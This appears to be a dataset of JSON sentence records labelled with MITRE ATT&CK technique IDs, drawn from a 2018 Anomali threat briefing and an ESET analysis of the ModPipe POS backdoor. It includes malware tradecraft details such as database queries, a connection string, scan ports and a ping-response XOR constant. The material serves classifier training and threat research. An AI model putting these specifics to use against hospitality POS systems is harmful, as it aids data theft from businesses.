Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Click here for Anomali recommendation Flaw In 4GEE WiFi Modem Could Leave Your Computer Vulnerable (September 20, 2018) Security researcher, Osanda Malith, from ZeroDayLab discovered a severe vulnerability in 4G-based wireless 4GEE Mini modems sold by mobile operator, EE.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This vulnerability, registered as “CVE-2018-14327,” allows a low-privileged user account to escalate privileges on any Windows machine that had connected to the EE Mini modem via USB.", "labels": ["T1068"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The vulnerability is located in the driver files installed by the modem onto Windows machines, where the folder permissions allow anyone to read, write, execute, create, and delete anything inside that folder and its subfolders.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "For an attacker to exploit this vulnerability, they just have to replace the “ServiceManager.exe” file from the driver folder with a malicious file to trick the driver into running the tainted file and executing with higher SYSTEM privileges following a reboot.", "labels": ["T1036.005"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A patch has been released for this vulnerability by EE.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] File System Permissions Weakness (T1044)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This Windows File May Be Secretly Hoarding Your Passwords And Emails (September 19, 2018) Windows machines that have handwriting recognition features enabled that translate stylus and touchscreen writing into formatted texts are susceptible to a Windows “WaitList.dat” file storing sensitive information, such as passwords, without the user’s knowledge.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The file is intended to store text to help Windows improve handwriting recognition so it recognises and accurately suggests corrections and/or words based on what a user uses frequently.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "However, once the handwriting recognition feature is enabled, text from every document and email is indexed into this file, not only the files that interacted with the touchscreen feature.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This means that the actual data from the document’s text is stored in the WaitList.dat file, not just the metadata.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This means that if threat actors gained unauthorised access to this specific file on a machine, they would have access to sensitive data that is unwittingly stored in it, compromising many facets of information.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Click here for Anomali recommendation Magecart Strikes Again: Newegg", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "In The Crosshairs (September 19, 2018) E-Commerce company, Newegg, is the latest victim of credit card-skimming campaign by threat group, MageCart.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Between late August and early September 2018, MageCart stole credit card data from British Airways and Feedify, and appear to have used the same malicious JavaScript code to compromise the Newegg checkout page to obtain card credentials.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This particular breach of information occurred between August 13, 2018 and September 18, 2018.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Both data theft campaigns against Newegg and British Airways appear to have occurred around the same time, with the Newegg campaign starting a week earlier than the British Airways campaign.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The malicious JavaScript code was injected into the company’s online shopping “Billing Information” page on their website that sent the credentials entered over to the domain controlled by the threat group where they were subsequently stored.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Drive-by Compromise (T1189) Authentication Bypass Vulnerability In Western Digital", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "My Cloud Allows Escalation To Admin Privileges (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A vulnerability in the “My Cloud” devices from the storage solutions company, \"Western Digital,\" was discovered.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This vulnerability, registered as “CVE-2018-17153,” can allow for unauthorised actors to bypass authentication and register their activity on a specific IP address as an administrator.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A threat actor could establish an administrator session using the “network_mgr.cgi CGI” module in the HTTP and set the IP address as an admin session that will allow the actor to bypass future authentication when logging into the device over the internet.", "labels": ["T1078"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This then allows the actor complete access over the device.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "At the current publication of the article, a patch has not been developed or released.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Account Manipulation (T1098) Paste Site Used As Hosting Service For FilesMan Backdoor (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Researcher Bruno Zanelato discovered a backdoor, called “FilesMan,” dropped into several websites due to a pre-existing PHP file placed into the website’s structure by threat actors.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This PHP file contains a payload download code that grabs malware to download and install the backdoor.", "labels": ["T1105"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The PHP file “wp-content/themes/buildup/db.php” decrypts that specific payload code to the install the FilesMan backdoor that allows the threat actor to gain access to a website through their own machine.", "labels": ["T1140"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Shared Webroot (T1051) Bristol Airport Flight Display Screens Failed After Ransomware Incident (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Flight display screens at Bristol Airport were inoperable for three consecutive days following a ransomware attack that put the screens out of order.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The airport resorted to manually writing down flight times, updates, and gate numbers on whiteboards and flip charts to maintain flight services.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Flights were able to operate as normal, though the airport did request that travellers arrive to the airport earlier to allow extra time for checking in and the boarding process.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The airport was able to contain the attack and restore the flight display screens.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Security officials reported that no ransom was paid and the safety of the security systems remain unaffected during the cyber incident.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Click here for Anomali recommendation Just 13 – No, Er, Make That 3,200 Punters Hit In Oz's Perth Mint Hack (September 18, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A security breach at the Australian government’s official mint “Perth Mint” that was initially believed to have only affected 13 customers, has ended up actually affecting over 3,200 customers.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The cyber incident appears to have been caused by security failings of a third-party provider, and the company’s internal systems were not compromised.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The company contacted affected customers to notify them of the breach and that their personal information was breached, but their investments were not impacted and are secure.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Click here for Anomali recommendation Beware Of Emails Purporting To Be From The IRS (September 17, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Researchers at Fortinet discovered a recent phishing email campaign pretending to be from the US Internal Revenue Service (IRS).", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The email is directed to “Non-Resident Alien” tax payers to have them fill out a PDF file (that is attached to the email) that certifies one is a non-resident or foreign corporation.", "labels": ["T1566.001"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The attached PDF is named “W-8BEN Form.PDF” and impersonates a legitimate IRS form.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The file does not contain any malicious macros or code, so it appear to be clean to open on a computer.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The email asks the target to file out the attached form and then fax it over to a specific fax number.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The objective of this campaign is to steal Personally Identifiable Information (PII).", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Click here for Anomali recommendation Tenable Research Advisory: Peekaboo Critical Vulnerability In NUUO Network Video Recorder (September 17, 2018)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Researchers at Tenable Research discovered two vulnerabilities in monitoring and surveillance company NUUO’s “Network Video Recorder” software in the “NVRMini2” network-connected, video recording device.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The two vulnerabilities have been registered as “CVE-2018-1149” and “CVE-2018-1150” and are linked to the third-party vendor software installed on the device.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The first vulnerability, CVE-2018-1149, is an unauthenticated stack buffer overflow which allows for remote code execution with root/administrator privileges.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "This vulnerability could then be leveraged to take over the NVRMini2 device and manipulate the connected cameras.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "The second vulnerability, CVE-2018-1150, is a backdoor that is believed to be caused by leftover debug code, and allows the list of all user accounts on a system to be accessible with their passwords capable of being manipulated.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Changing the passwords could then allow a threat actor access to that account with their own passcode, and then sign on as a legitimate user to view camera feeds or CCTV footage and recordings as well as delete a camera from a system completely.", "labels": ["T1078"], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "These vulnerabilities could allow threat actors to tamper with security footage and live feeds.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "A patch is currently in development for both vulnerabilities.", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "[MITRE ATT&CK] Third-party Software (T1072)", "labels": [], "doc_title": "WTB Adwind Trojan Circumvents Antivirus Software To Infect Your PC"} {"sentence": "Backdoor authors show deep knowledge of the targeted POS software, decrypting database passwords from Windows registry values ESET researchers have discovered ModPipe, a modular backdoor that gives its operators access to sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "What makes the backdoor distinctive are its downloadable modules and their capabilities.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values.", "labels": ["T1005", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This shows that the backdoor’s authors have deep knowledge of the targeted software and opted for this sophisticated method instead of collecting the data via a simpler yet “louder” approach, such as keylogging.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Exfiltrated credentials allow ModPipe’s operators access to database contents, including various definitions and configuration, status tables and information about POS transactions.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "However, based on the documentation of RES 3700 POS, the attackers should not be able to access some of the most sensitive information – such as credit card numbers and expiration dates – which is protected by encryption.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The only customer data stored in the clear and thus available to the attackers should be cardholder names.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This would limit the amount of valuable information viable for further sale or misuse, making the full “business model” behind the operation unclear.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "One possible explanation is that another downloadable module exists that allows the malware operators to decrypt the more sensitive data in the user’s database.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "According to the documentation, to achieve this the attackers would have to reverse engineer the generation process of the “site-specific passphrase”, which is used to derive the encryption key for sensitive data.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This process would then have to be implemented into the module and – due to use of the Windows Data Protection API (DPAPI) – executed directly on the victim’s machine.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Another remaining unknown is ModPipe’s distribution method.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The majority of the identified targets were from the United States, with indications that they were in the restaurant and hospitality sectors – the primary customers of RES 3700 POS.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "ModPipe architecture Our analysis shows that ModPipe uses modular architecture consisting of basic components and downloadable modules (for a better overview see Figure 1): initial dropper – contains both 32-bit and 64-bit binaries of the next stage – the persistent loader – and installs the appropriate version to the compromised machine.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "persistent loader – unpacks and loads the next stage of the malware, namely the main module.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "main module – performs the main functionality of the malware.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "It creates a pipe used for communication with other malicious modules, un/installs these modules and serves as a dispatcher that handles communication between the modules and attacker’s C&C server.", "labels": ["T1041"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "networking module – module used for communication with C&C. downloadable modules – components adding specific functionality to the backdoor, such as the ability to steal database passwords and configuration information, scan specific IP addresses or acquire a list of the running processes and their loaded modules.", "labels": ["T1005", "T1016", "T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Overview of ModPipe backdoor architecture Downloadable modules Probably the most intriguing parts of ModPipe are its downloadable modules.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "We’ve been aware of their existence since the end of 2019, when we first found and analyzed its “basic” components.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "In April 2020, after a couple of months of hunting, we found three of these modules in the wild.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The list of all downloadable modules we found and analyzed, and their IDs – represented by a 16-bit unsigned value – are available in Table 1.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Our research also suggests that the operators use at least four other downloadable modules, whose functionality remains completely unknown to us for now.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "It’s worth mentioning that some of these modules can create a named pipe with a GUID-formatted name derived from the module’s ID.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Other modules can use this pipe to send commands to the module that created it.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Downloadable modules Module IDNameDescription 0xA0C0GetMicInfoSteals database passwords, data and various settings 0x2000ModScanPerforms scan on the specified IP addresses -ProcListGets list of the running processes and their loaded modules 0xA000unknown- 0xA040unknown- 0xA740unknown- 0xA080unknown- Downloadable module: GetMicInfo GetMicInfo is a downloadable component that targets data related to the MICROS POS including passwords tied to two database usernames predefined by the manufacturer: dba and micros (see Figure 2).", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This information is encrypted and stored in DataS5 (for dba) and DataS6 (for micros) registry values within one of the following registry keys: HKLM\\Software\\Micros\\UserData or HKLM\\Software\\WOW6432Node\\Micros\\UserData if run in Windows 32-bit on Windows 64-bit (WOW64) subsystem Figure 2.", "labels": ["T1027", "T1112"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Hex-Rays decompiled code of the function stealing database passwords The GetMicInfo module can intercept and decrypt these database passwords, using a specifically designed algorithm.", "labels": ["T1078", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "So as not to aid other malicious actors, we won’t be disclosing the inner workings of the algorithm.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Since the decryption mechanism wasn’t publicly available, there are at least three possible scenarios of how the attackers could have created the algorithm: The most probable option is that the attackers acquired and reverse engineered the implementation of the ORACLE MICROS RES 3700 POS and the libraries responsible for encryption and decryption of the database passwords.", "labels": ["T1027", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The attackers could have gained the information describing the implementation of the encryption and decryption mechanism from a 2016 data breach described in a blogpost by Brian Krebs.", "labels": ["T1027", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The malware operators could have bought the code from an underground market.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Our analysis shows that in cases where the GetMicInfo module decrypts the password for the dba username, it will also try to acquire the path to the SQL Anywhere API library from the environment variable “SQLANY_API_DLL” and load it if it’s available.", "labels": ["T1078", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "If the environment variable does not exist, the module tries to load the library using its name dbcapi.dll.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This library is a part of Sybase SQL Anywhere, which is used by RES 3700 POS.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "If one of these approaches is successful, GetMicInfo attempts to connect to the database using the following connection string: DBN=micros;UID=dba;ENG=sql%PCNAME%;PWD=%decrypted_DataS5% %PCNAME% represents the computer name retrieved via the GetComputerName API and %decrypted_DataS5% stands for the decrypted dba user password.", "labels": ["T1078", "T1106", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "After establishing a connection, GetMicInfo tries to execute the following SQL queries and report the results to the main module, using a pipe message with ID 0x10000013 (see Table 3 for a full list of pipe messages and their IDs): SELECT lan_node_seq,obj_num,name,lan_addr,ob_diskless,type,ip_addr,ip_netmask FROM micros.lan_node_def SELECT dvc_tbl_seq,obj_num,name,type,com_port_seq,com_port,baud_rate,num_data_bits,num_stop_bits,parity_type,filename FROM micros.dev_def SELECT tmed_seq,obj_num,name,type,ca_driver,edc_driver FROM micros.tmed_def SELECT *", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "FROM micros.caedc_driver_def SELECT *", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "FROM micros.interface_def Queried data contain various MICROS RES 3700 POS system definitions and configurations (see Figure 3).", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Other information stolen by the module includes the version of the MICROS POS and information about specific registry keys most likely related to various credit card services configurations.", "labels": ["T1012"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Hex-Rays decompiled code of the function that steals database data The GetMicInfo module is injected into one of the processes specified by the C&C in the install command (0x0C).", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Based on our findings, it is typically associated with one of the following legitimate processes: MDSHTTPService.exe (MICROS MDS HTTP Service) CALSrv.exe (MICROS CAL Service – Client Application Loader server) explorer.exe We can confirm that the GetMicInfo module can successfully obtain the database passwords from RES 3700 POS v4.7 and v5.4.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "For all the other versions, we were able neither to confirm nor deny the ability of the component to obtain the targeted libraries.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Downloadable module: ModScan 2.20", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The main purpose of ModScan 2.20 is to collect additional information about the installed MICROS POS environment on the machines by scanning selected IP addresses.", "labels": ["T1016"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The ModScan 2.20 module is injected into one of the processes specified by the C&C via an InstallMod command (0x72).", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Based on our findings, it is typically associated with one of the following legitimate processes: MDSHTTPService.exe (MICROS MDS HTTP Service) CALSrv.exe (MICROS CAL Service – Client Application Loader server) msdtc.exe jusched.exe spoolsv.exe services.exe Differences between the injected processes misused by GetMicInfo and those targeted by ModScan 2.20 might be caused by the fact that GetMicInfo module is injected only into processes running under WOW64.", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The list of IP addresses intended for scanning and the special “ping” IP address are specified by the C&C in one of two ways.", "labels": ["T1016"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "It is either: downloaded from the C&C along with the ModScan module, or received during runtime, using the named pipe associated with the ModScan module.", "labels": ["T1105"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The ModScan module handles pipe commands listed in Table 2. Table 2.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "ModScan 2.20 module pipe commands Command nameCommand description exitExit stopTerminate scanning threads scanStart scanning IPs specified in the command data to collect additional information about the environment prmSpecify special “ping” IP address Scanning procedure routine Before scanning, the module sends a special “ping” message containing a 32-bit value generated by the GetTickCount Windows API function to TCP ports 50123 (used by MDS HTTP Service) and 2638 (used by SAP Sybase database server) of the “ping” IP address.", "labels": ["T1016", "T1095", "T1106"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The response from the “ping” IP address should contain the same 32-bit value rotated right by one bit and XORed with the value 0x6CF6B8A8.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "If the response on at least one of the ports provides the appropriate value, the module will start the scan of the selected IP addresses.", "labels": ["T1016"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "A decompilation of this ping function is shown in Figure 4. Figure 4.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Hex-Rays decompiled code of the ModScan ping functionality When the ModScan module starts the scan, some of the following information may be gathered, depending on the parameters received along with the scan command: Version of the Oracle MICROS RES 3700 POS, which is acquired by sending an HTTP Post message (see Figure 5) to the specified IP address on port 50123 used by the MDS HTTP Service.", "labels": ["T1071.001", "T1082"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The sought-after information is stored between data xml tags (%version%) of the response from the service. 1234567891011121314151617181920 POST /%s", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "HTTP/1.1Accept: text/xmlUser-Agent: MDS POS ClientHost: %s:50123Content-Length: 459Connection: Keep-AliveCache-Control: no-cache MDSSYSUTILS Reg_GetValue Session SOFTWARE\\MICROS HKEY_LOCAL_MACHINE Version Figure 5.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "MDS HTTP Service request Name of the database, extracted by sending a specially crafted TCP packet (possibly using the CMDSEQ command protocol) to the selected IP address on port 2638 used by the SAP Sybase Database Server.", "labels": ["T1095"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The string representing the name of the database is located at offset 0x28 of the response sent by the database server.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Database server data, such as its name, version of the TDS protocol and the TDS server version.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "To gain this information, the ModScan module sends a hardcoded TDS 4.2 & 5.0 Login Packet (Figure 6) to the specified IP address on port 2638.", "labels": ["T1095"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The response includes a Login Acknowledgement packet which, in both cases – success and failure – contains information about the database server and the TDS versions used.", "labels": ["T1082"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The TDS login packet is hardcoded, with username set to the built-in dba and a hardcoded password, which is potentially the default password in some RES 3700 POS versions.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "As we haven’t found any public reference to this password, we won’t be publishing it in our blogpost. Figure 6.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "TDS 4.2 & 5.0 Login Packet used by the ModScan module, dissected using Wireshark Downloadable module: ProcList", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The last of the downloadable modules we were able to obtain and dissect was ProcList.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This is a lightweight module that doesn’t have an assigned ID.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Its main purpose is to collect information about currently running processes, including: name, process identifier (PID), parent process PID, number of threads, token owner, token domain, process creation time, and command line.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Optionally, ProcList can also collect information about loaded modules for each of the running processes.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Collected information is sent to the main module of the backdoor (using pipe message 0x10000013).", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Initial dropper The initial dropper is responsible for installing the next stage of the malware.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "During our investigation, we discovered one dropper executable on two compromised machines, stored in the following locations: C:\\IQXDatabase\\Live\\1.exe C:\\OasisLive\\1.exe Each time the initial dropper is executed, a unique configuration is generated, using mostly random bytes.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "This causes the hash of the dropped loader to change with each execution, complicating detection and tracking of the malware.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The dropper component can drop the loader into two possible locations and set up the persistence mechanism by creating a Windows service or Windows registry Run key (for details, please refer to the Indicators of Compromise section).", "labels": ["T1112", "T1543.003"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The encrypted payload, containing the main functionality of the dropper, is stored in the dropper’s resources as bitmaps named from A to L.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The dropper decrypts this payload using the provided command line parameter, then executes it.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The payload is responsible for decrypting the appropriate loader depending on the system architecture, so either 32-bit or 64-bit.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Each of the loaders is encrypted using its own XOR key, each 0x80 bytes long.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Decompiled code responsible for loading the payload from the binary’s resources, its decryption and execution is shown in Figure 7.", "labels": ["T1027", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Hex-Rays decompiled code – decryption and execution of the payload in the initial dropper An example of an encrypted and decrypted configuration with explanations is visible in Figure 8.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "The configuration shown comes from the loader installed by the dropper sample with SHA-1 hash 9f8530627a8ad38f47102f626dec9f0173b44cd5.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Note that the structure of the configuration can vary between older and newer versions of the loader executable.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"} {"sentence": "Example of the loader’s generated configuration 